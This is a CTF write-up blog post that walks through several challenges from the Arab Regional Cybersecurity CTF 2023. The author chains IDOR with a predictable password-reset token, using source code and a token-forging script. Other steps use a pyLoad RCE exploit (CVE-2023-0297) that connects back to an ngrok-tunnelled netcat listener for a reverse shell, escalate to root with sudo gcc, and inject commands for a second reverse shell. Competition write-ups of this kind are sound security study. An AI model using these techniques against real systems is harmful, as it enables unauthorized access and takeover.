Arab Regional Cybersecurity CTF 2023 (Web Security & Machines)

Anas Ibrahim
6 min readOct 22, 2023
ARAB Regional Cyber Security CTF

We Stand with Palestine and don’t recognize a country called Israel.

Hi everyone, I’m a web pentester, and I occasionally participate in CTFs. Recently, I took part in the Arab Regional Cyber Security CTF 2023 and collaborated with my friend Amr Zaki in solving 2 web challenges (one medium and the other hard) and managed to solve two machines. However, we couldn’t obtain the flag for the hard machine as the competition had ended. Let me now explain the scenario.

NoteHarbor | (Web Secutiy - 100 Point)

The challenge description was: Mariel Calderwood: HI I can’t login to my account can you help me?

It was a web security challenge that contained register, login, and reset password functions. After creating account and logging on, it contained an adding notes function. Firstly, I thought about an SSTI vulnerability in the notes function, but it didn’t work.

There was a profile directory with a user number endpoint that contained my user ID, which was 801 (Username, Email, Secret). I changed the user ID, and it leaked user data, so it was vulnerable to IDOR.

My Profile

Now I had 800 user IDs, and I wanted to get the credentials of Mariel Calderwood. I used Burp Intruder to brute-force the user IDs and used grep-match with the username in the description. It returned the user ID as 262.

Brute-Force

Now i have the Email and Secret of Mariel Calderwood.

Mariel Calderwood

After reading the source code for the reset_password function, I found that to reset your password, you must enter your reset token at the reset_password/<reset_token> endpoint.

@app.route('/reset_password/<reset_token>', methods=['GET', 'POST'])
def reset_password(reset_token):
user = User.query.filter_by(reset_token=reset_token).first()
if user and user.token_expiration > datetime.now():
if request.method == 'POST':
new_password = request.form['new_password']
hashed_password = bcrypt.generate_password_hash(new_password).decode('utf-8')
user.password = hashed_password
user.reset_token = None
user.token_expiration = None
db.session.commit()
flash('Password reset successfully. You can now log in with your new password.', 'success')
return redirect(url_for('login'))
return render_template('reset_password.html')
flash('Invalid or expired reset token.', 'danger')
return redirect(url_for('forgot_password'))

This function handles the password reset process by verifying the reset token, allowing the user to submit a new password, and updating it in the database if the token is valid and not expired. If successful, the user is redirected to the login page; otherwise, an error message is displayed and the user is redirected to the forgot password page.

Now that I have the user’s email, I thought about how to get the reset token. After reading the generate_reset_token() function, I understand that it generates a random reset token of specified length for a user by combining their secret with the current time in minutes.

So, I ran the function locally in Visual Studio Code and combined it with the secret to get the reset token.

import string,random
from datetime import datetime, timedelta

def generate_reset_token(user, token_length=32):
letters_and_digits = string.ascii_uppercase + string.digits

current_time_minutes = int(datetime.now().timestamp() // 60)
seed = user + str(current_time_minutes)

random.seed(seed)
reset_token = ''.join(random.choice(letters_and_digits) for _ in range(token_length))

return reset_token

print(generate_reset_token('CH5CSTBK6QH6N8J77VNR8KN44RAHXNP2'))
token

I was able to change the user’s password because the reset token was valid.

reset password function

Then I logged in to the user account with his email and the password that I had reset. I got the flag in a note.

FLAG

Futuristik | (Machines - 100 Point)

The challenge description was: The challenge exists in /login or /chall

So when I navigated to the /chall endpoint, it returned an error. Then I navigated to the /login page, which was a payload login page with the default credentials pyload:pyload. After redirecting to the /dashboard, I did not find anything that I could get RCE from.

pyload dashboard

After researching pyload exploits, I found a pre-unauthenticated RCE (CVE-2023–0297) and used it to gain a reverse shell. Here is its usage:

python3 exploit.py -t <target> -I <attacker_ip> -P <attacker_port>

I ran the script using the nc command to get a reverse shell, but it did not work. So, I used ngrok and it completed successfully.

  • nc -nlvp 5555
  • ngrok tcp 5555
  • python3 exploit.py -t <target> -I 4.tcp.eu.ngrok.io -P 15840
Reverse shell

Now, I got a reverse shell, but the flag wasn’t in the user directory, so I should escalate my privileges to root to get the flag.

First, I entered the sudo -l command to check if the user is in the sudoers list, and I found that the user can get root access if they run the gcc command.

sudo -l

So, I navigated to GTFOBins to get the gcc sudo command, which was sudo gcc -wrapper /bin/sh,-s. Now I am root.

root

Now I can access the /root/flag.txt file and have obtained the flag.

PEhHac | (Machines | 200 Point)

In this challenge, we were not able to obtain the flag before the time ended. It was a difficult challenge that contained a name input that sent an email to the name when the website was ready. This made it susceptible to command injection vulnerabilities, which enabled me to obtain local file inclusion (LFI) vulnerabilities and self-XSS vulnerabilities. However, I was not able to obtain remote code execution (RCE), which was my primary objective, I found the /etc/passwd file and learned that the user was damon. I thought about obtaining the SSH private and public keys to gain a reverse shell, but the files did not exist.

lfi

After searching for payloads to achieve remote code execution (RCE), I found a command injection payload that aims to execute arbitrary commands on a target system with a vulnerable application. These were the steps I took:

  • nc -nlvp 5555
  • ngrok tcp 5555
  • copy the ngrok ip and port, then replace it in the payload
command injection

So it will start a reverse shell connection to the specified hostname, and I got a reverse shell.

reverse shell

But to get the flag, you must escalate your privileges to root. However, the competition was ended.

Finally, I have finished the write-up about solving the two web security challenges. I hope you find it enjoyable.

the end

Contact

Facebook | LinkedIn

--

--